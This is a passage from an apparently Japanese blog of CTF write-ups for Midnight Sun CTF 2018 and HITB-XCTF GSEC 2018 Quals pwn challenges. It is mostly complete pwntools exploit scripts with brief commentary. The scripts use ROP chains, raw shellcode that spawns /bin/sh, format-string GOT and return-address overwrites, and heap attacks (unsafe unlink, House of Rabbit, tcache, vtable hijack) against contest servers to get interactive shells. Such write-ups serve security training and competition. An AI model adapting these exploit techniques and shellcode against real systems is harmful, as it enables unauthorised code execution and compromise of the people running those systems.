', '4') conn.sendlineafter('ID:', payload) ''' 0x00401003: pop rdi ; ret ; (1 found) 0x00401001: pop rsi ; pop r15 ; ret ; (1 found) 0x00400ffa: pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret ; (1 found) 0x00400fd8: nop dword [rax+rax+0x00000000] ; mov rdx, r13 ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ; (1 found) ''' pop_rdi = 0x00401003 pop_rsi_r15 = 0x00401001 set_regs = 0x00400ffa call_r12 = 0x00400fd8 leave_ret = 0x00400e3d printf_plt = elf.symbols['printf'] puts_got = 0x601f90 write_file = 0x400D4D main = 0x400E3F log.info('Pwning') conn.sendline('%s'*0x69) payload = 'x'*168 + p64(0x602110) #payload = 'x'*168 + 'z' *8 payload = payload.ljust(0x100, 'y') edit(payload) payload = 'a'*0x64 payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got) payload += p64(call_r12) + p64(0)*7 payload += p64(set_regs) + p64(0x0) + p64(1) + p64(puts_got)+p64(0)*2+p64(puts_got+0x300) payload += p64(call_r12) + p64(0)*7 payload += p64(set_regs) + p64(0x0) + p64(1) + p64(0x0000000000601ff0)+p64(0)+p64(0x602f00)+p64(0x602110) payload += p64(call_r12) + p64(0)*2 + p64(0x00602f00) + p64(0)*4 payload += p64(leave_ret) conn.recvuntil('> ') conn.sendline(payload) libc_base = u64(conn.recv(6)+'\x00\x00') - 0x6f690 print hex(libc_base) payload = 'x'*8 + p64(libc_base + 0x4526a) conn.sendline(payload) conn.interactive()
Midnight Sun CTF 2018 writeup
Babyshells - Pwn (50 + 15)
x86, ARM, MIPSのshellcodeを送るだけ。
x86
#!/usr/bin/env python from pwn import * # context(os='linux', arch='i386') context(os='linux', arch='i386') context.log_level = 'debug' # output verbose log RHOST = "52.30.206.11" RPORT = 7000 LHOST = "127.0.0.1" LPORT = 7000 # libc = ELF('') elf = ELF('./chall') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./chall'], execute) else: conn = process(['./chall']) # conn = process(['./chall'], env={'LD_PRELOAD': ''}) # preparing for exploitation log.info('Pwning') conn.sendline('1') conn.sendline(asm(shellcraft.sh())) conn.interactive()
ARM
shell = "\x01\x70\x8f\xe2\x17\xff\x2f\xe1\x04\xa7\x03\xcf\x52\x40\x07\xb4\x68\x46\x05\xb4\x69\x46\x0b\x27\x01\xdf\x01\x01\x2f\x62\x69\x6e\x2f\x2f\x73\x68" conn.sendline('1') conn.sendline(shell) conn.interactive()
MIPS
shell = "\x28\x06\xff\xff"+"\x3c\x0f\x2f\x2f"+"\x35\xef\x62\x69"+"\xaf\xaf\xff\xf4"+"\x3c\x0e\x6e\x2f"+"\x35\xce\x73\x68"+"\xaf\xae\xff\xf8"+"\xaf\xa0\xff\xfc"+"\x27\xa4\xff\xf4"+"\x28\x05\xff\xff"+"\x24\x02\x0f\xab"+"\x01\x01\x01\x0c" conn.sendline('1') conn.sendline(shell)
Haxpresso - Pwn (300)
書き込みができるポインタが任意に制御できるので、GOTに書き換えた。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') #context.log_level = 'debug' # output verbose log RHOST = "52.30.206.11" RPORT = 1337 LHOST = "127.0.0.1" LPORT = 1337 # libc = ELF('./libc.so') elf = ELF('./haxpresso_f2d67837045662dd6abed40660340a33') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD=./libc.so b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./haxpresso_f2d67837045662dd6abed40660340a33'], execute) else: conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33']) # conn = process(['./haxpresso_f2d67837045662dd6abed40660340a33'], env={'LD_PRELOAD': './libc.so'}) # preparing for exploitation def add(name): conn.sendlineafter(' > ', '1') conn.sendlineafter(': ', '1') conn.sendlineafter(': ', 'y') conn.sendafter(': ', name) conn.recvuntil('added!') def edit(idx, name): conn.sendlineafter(' > ', '4') conn.sendlineafter(': ', str(idx)) conn.sendafter(': ', name) conn.recvuntil('edited!') log.info('Pwning') add('a') add('b') conn.sendlineafter(' > ', '3') conn.sendlineafter(': ', '0') conn.sendlineafter(': ', 'n') conn.sendlineafter(' > ', '3') conn.recvuntil('Name: ') buf = conn.recvline() print repr(buf) libc_base = u32(buf[0:4]) - 0xd661 log.info('libc_base = 0x%x', libc_base) conn.sendlineafter(': ', 'n') conn.sendlineafter(': ', 'n') payload = 'x'*0x24 + p32(0x0804c030) edit(0, payload) edit(1, p32(libc_base + 0x3a940)) conn.sendline('4') conn.sendline('0') conn.sendline('/bin/sh\x00') conn.interactive()
Botpanel - Pwn (300 + 10)
はじめのログインに自明なFSBがあったので、そこだけでexploitした。流せるpayloadが0xc bytesだけだが条件が合えば問題なく動く。体感で1/10で刺さる。
#!/usr/bin/env python from pwn import * context(os='linux', arch='i386') #context.log_level = 'debug' # output verbose log RHOST = "52.30.206.11" RPORT = 31337 LHOST = "127.0.0.1" LPORT = 31337 libc = ELF('./libc.so') elf = ELF('./botpanel_e0117db42051bbbe6a9c5db571c45588') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./botpanel_e0117db42051bbbe6a9c5db571c45588','0'], execute) else: conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588', '0']) # conn = process(['./botpanel_e0117db42051bbbe6a9c5db571c45588'], env={'LD_PRELOAD': './libc.so'}) # preparing for exploitation offset = 12 password = '>@!ADMIN!@<' log.info('Pwning') # leak payload = '..%43$p.%7$p' conn.sendlineafter('Panel password:', payload) conn.recvuntil('..') libc_base = int(conn.recv(10),16) - 0x00018540 - 247 conn.recvuntil('.') stack_addr = int(conn.recv(10), 16) log.info('libc_base = 0x%x', libc_base) log.info('stack_addr = 0x%x', stack_addr) conn.recvuntil('Incorrect') payload = '..%3$p\x00' conn.sendlineafter('Panel password:', payload) conn.recvuntil('..') bin_base = int(conn.recv(10),16) - 0x10c0 log.info('bin_base = 0x%x', bin_base) count_addr = stack_addr - 0x60 payload = p32(count_addr+1) + '%9c%12$n' conn.sendafter('Panel password:', payload) ret_addr = stack_addr - 0x3c def write_word(addr, value): addr1 = addr addr2 = addr+2 value1 = 0xffff & value value2 = 0xffff & (value >> 16) payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74),27) print len(payload) assert len(payload) <= 0xc conn.sendafter('Panel password:', payload) payload = '%%%dc%%%d$hn' % (addr1 &0xffff,85) print len(payload) assert len(payload) <= 0xc conn.sendafter('Panel password:', payload) payload = '%%%dc%%%d$hn' % (0xffff&(stack_addr-0x74+4),27) conn.sendafter('Panel password:', payload) payload = '%%%dc%%%d$hn' % (0xffff&addr2,85) conn.sendafter('Panel password:', payload) payload = '%%%dc%%5$hn' % (value1) conn.sendafter('Panel password:', payload) payload = '%%%dc%%6$hn' % (value2) conn.sendafter('Panel password:', payload) write_word(ret_addr, libc_base + 0x3a940) write_word(ret_addr+8, libc_base + 0x15902b) conn.sendline(password) conn.interactive()
HITB-XCTF GSEC CTF 2018 Quals writeup
once (pwn, 281pts)
libcのアドレスは適当な選択をすれば漏れてくるので、適当に双方向リストのポインタを上書きした。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.189.102" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('./libc-2.23.so') elf = ELF('./once') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ set environment LD_PRELOAD=./libc-2.23.so c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./once'], execute) else: conn = process(['./once']) # conn = process(['./once'], env={'LD_PRELOAD': './libc-2.23.so'}) # preparing for exploitation def create(): conn.sendlineafter('> ', '1') def write(payload): conn.sendlineafter('> ', '2') time.sleep(0.5) conn.send(payload) def free(): conn.sendlineafter('> ', '3') def malloc(size): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '1') conn.sendlineafter('input size:', str(size)) conn.sendlineafter('> ', '4') def _free(): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '3') conn.sendlineafter('> ', '4\x00yyyyyy') def write_string(payload): conn.sendlineafter('> ', '4') conn.sendlineafter('> ', '2') time.sleep(0.5) conn.sendline(payload) # conn.recvuntil('success.') conn.sendlineafter('> ', '4') log.info('Pwning') conn.sendlineafter('> ', '-1') conn.recvline() buf = conn.recv(len('0x7fbb53834690')) libc_base = int(buf, 16) - 0x6f690 log.info('libc_bsae = 0x%x', libc_base) write('a'*0x10 + p64(libc_base + 0x3c56e0 + 8)*2) malloc(0x200) payload = '/bin/sh\x00' + p64(libc_base + 0x45390) + 'y'*0x10 + 'z'*0x10 + 'w'*0x8 + p64(libc_base + 0x7475e) write_string(payload) _free() conn.recvuntil('>') create() conn.interactive()
babypwn (pwn, 253pts)
バイナリが与えられないが自明なFSBがあるためリークすることができる。適当にstdinあたりのvtableを上書きした。
#!/usr/bin/env python from pwn import * #context(os='linux', arch='unknown') #context.log_level = 'debug' # output verbose log RHOST = "47.75.182.113" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./a.out') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ b *0x4006ef c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./a.out'], execute) else: conn = process(['./a.out']) # conn = process(['hogehoge'], env={'LD_PRELOAD': ''}) # preparing for exploitation def write(addr, byte): payload = ('%%%dc%%10$hhn'% byte ).ljust(0x20, 'x')+ p64(addr) conn.sendline(payload) log.info('Pwning') # leak libc_base conn.sendline('%41$p') conn.recvuntil('0x') libc_base = int(conn.recv(12), 16) - 0x20830 log.info('libc_base = 0x%x', libc_base) stdin = libc_base + 0x3c48e0 stdin_vtable = libc_base + 0x3c49b8 fake_vtable = libc_base + 0x3c49c0 system = libc_base + 0x45390 # set ';sh' string write(stdin+4, ord(';')) write(stdin+5, ord('s')) write(stdin+6, ord('h')) # create fake vtable for i in range(6): write(fake_vtable+0x28+i, ord(p64(system)[i])) # overwrite stdin vtable ptr a = (fake_vtable & 0xffff) payload = ('%%%dc%%10$hn'% a ).ljust(0x20, 'y')+ p64(stdin_vtable) conn.sendline(payload) conn.interactive()
d (pwn, 392pts)
heap overflowがあるのでchunk sizeを上書きしてunsafe unlink attackを使った。
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.154.113" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./27b201be-af0d-4fb9-85b8-f6ea9712e632.d') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], execute) else: conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d']) # conn = process(['./27b201be-af0d-4fb9-85b8-f6ea9712e632.d'], env={'LD_PRELOAD': ''}) # preparing for exploitation def read(idx, msg): conn.sendlineafter('Which? :', '1') conn.sendlineafter('Which? :', str(idx)) conn.sendlineafter('msg:', msg) def edit(idx, msg): conn.sendlineafter('Which? :', '2') conn.sendlineafter('Which? :', str(idx)) conn.sendlineafter('new msg:', msg) def wipe(idx): conn.sendlineafter('Which? :', '3') conn.sendlineafter('Which? :', str(idx)) def fsa(addr, byte): payload = '' printf_plt = elf.plt['printf'] atoi_plt = elf.plt['atoi'] strlen_plt = elf.plt['strlen'] fake_chunk = 0x6021a0 log.info('Pwning') read(0, 'x' * 0x138) read(1, 'x' * 0x138) read(2, 'x' * 0x138) read(3, 'x' * 0x138) read(4, 'y' * 0x138) read(5, 'z' * 0x138) read(6, 'z' * 0x138) wipe(4) read(4, 'a'* (0x138+19)) edit(4, 'x'*0xf8) edit(4, 'x'*0xf0 + p64(0xf0)) payload = p64(0x0) + p64(0xf1)+p64(fake_chunk - 0x18) + p64(fake_chunk-0x10) edit(4, payload) wipe(5) edit(6, '/bin/sh\x00') edit(4, p64(0x602028)) edit(1, p64(printf_plt)[:6]) edit(0, '%2$p') conn.recvuntil('Which? :') conn.sendline('2') conn.recvuntil('Which? :') conn.sendline('0') conn.recvuntil('0x') libc_base = int(conn.recv(12), 16) - 0x3c6780 log.info('libc_base = 0x%x', libc_base) conn.sendline('hoge') edit(4, '%p') edit(4, p64(0x602018)) edit(1, '%p') edit(1, p64(libc_base + 0x45390)[:7]) conn.interactive()
mutepig (pwn, 833pts)
House of Rabbit
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.128.158" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('') elf = ELF('./mutepig') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ set follow-fork-mode parent b *{0} c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./mutepig'], execute) else: conn = process(['./mutepig']) # conn = process(['./mutepig'], env={'LD_PRELOAD': ''}) # preparing for exploitation def create(_type, payload): time.sleep(0.1) conn.sendline('1') conn.sendline(str(_type)) time.sleep(0.1) conn.send(payload) time.sleep(0.1) def free(idx): time.sleep(0.1) conn.sendline('2') time.sleep(0.1) conn.sendline(str(idx)) time.sleep(0.1) def write(idx, payload, payload2): time.sleep(0.1) conn.sendline('3') time.sleep(0.1) conn.sendline(str(idx)) time.sleep(0.1) conn.send(payload) time.sleep(0.1) conn.send(payload2) log.info('Pwning') time.sleep(0.1) create(3, 'x'*7) free(0) create(3, 'y'*7) free(1) create(1, 'fast') # 2 create(2, 'small') # 3 free(2) payload = p64(0) + p64(0x11) + p64(0x0) + p64(0xfffffffffffffff1) write(2, p64(0x602130)[:7], payload) free(3) # malloc_consolidate payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xa00001) write(3, 'w'*7, payload) create(3, '/bin/sh') payload = p64(0xfffffffffffffff0) + p64(0x10) + p64(0x0) + p64(0xfffffffffffffff1) write(3, 'w'*7, payload) create(13337, 'a'*7) create(1, p64(0x0000000000602018)[:7]) write(0, p64(0x00000000004006e6)[:7], 'hoge') free(2) conn.interactive()
gundom (pwn, 487pts)
tcache
#!/usr/bin/env python from pwn import * context(os='linux', arch='amd64') context.log_level = 'debug' # output verbose log RHOST = "47.75.37.114" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 # libc = ELF('./libc.so.6') elf = ELF('./gundam') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./gundam'], execute) else: conn = process(['./gundam']) # conn = process(['./gundam'], env={'LD_PRELOAD': './libc.so.6'}) # preparing for exploitation def build(name, idx): conn.sendlineafter('Your choice : ', '1') conn.sendafter('The name of gundam :', name) time.sleep(0.1) conn.sendlineafter('The type of the gundam :', str(idx)) time.sleep(0.1) def visit(): conn.sendlineafter('Your choice : ', '2') time.sleep(0.1) def destroy(idx): conn.sendlineafter('Your choice : ', '3') conn.sendlineafter('Destory:', str(idx)) time.sleep(0.1) def blow(): conn.sendlineafter('Your choice : ', '4') time.sleep(0.1) log.info('Pwning') build('x'*0x10, 0) build('y'*0x10, 1) destroy(0) destroy(0) build('x'*0x1, 0) visit() conn.recvuntil('Gundam[2] :') heap_base = u64(conn.recv(6) + '\x00\x00') - 0x278 log.info('heap_base = 0x%x', heap_base) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) destroy(0) blow() build('\x90'*0x1, 0) visit() conn.recvuntil('Gundam[0] :') libc_base = u64(conn.recv(6) + '\x00\x00') - 0x3dac90 log.info('libc_base = 0x%x', libc_base) destroy(1) payload = p64(0) + p64(0x61) + p64(libc_base + 0x3dac78) * 2 + 'a'*0x40 + p64(0x60) + p64(0x100) build(payload, 2) build(p64(libc_base + 0x3da9cc) + p64(0) + p64(heap_base + 0x3d0)*2, 0) build('hoge', 0) free_hook = libc_base + 0x3dc8a8 short_buf = libc_base + 0x3daa63 payload = '\x00'* 4 + p64(0xfbad208b) + p64(short_buf) + p64(short_buf+1) + p64(short_buf) * 4 + p64(free_hook-2) + p64(free_hook+8) build(payload, 0) conn.sendline('3') conn.send('0\x00' + p64(libc_base + 0xfccde)) #conn.send('0\x00' + 'x'*8) conn.interactive()
最後に
最近はCTFをするときにMAN WITH A MISSIONのRaise your flagを聴いている(本当は適当にプレイリストを流しているだけ)。 CTFっぽい名前なのか良い感じにfirst bloodを取れるのでジンクスとして続けていこうとかと思っている。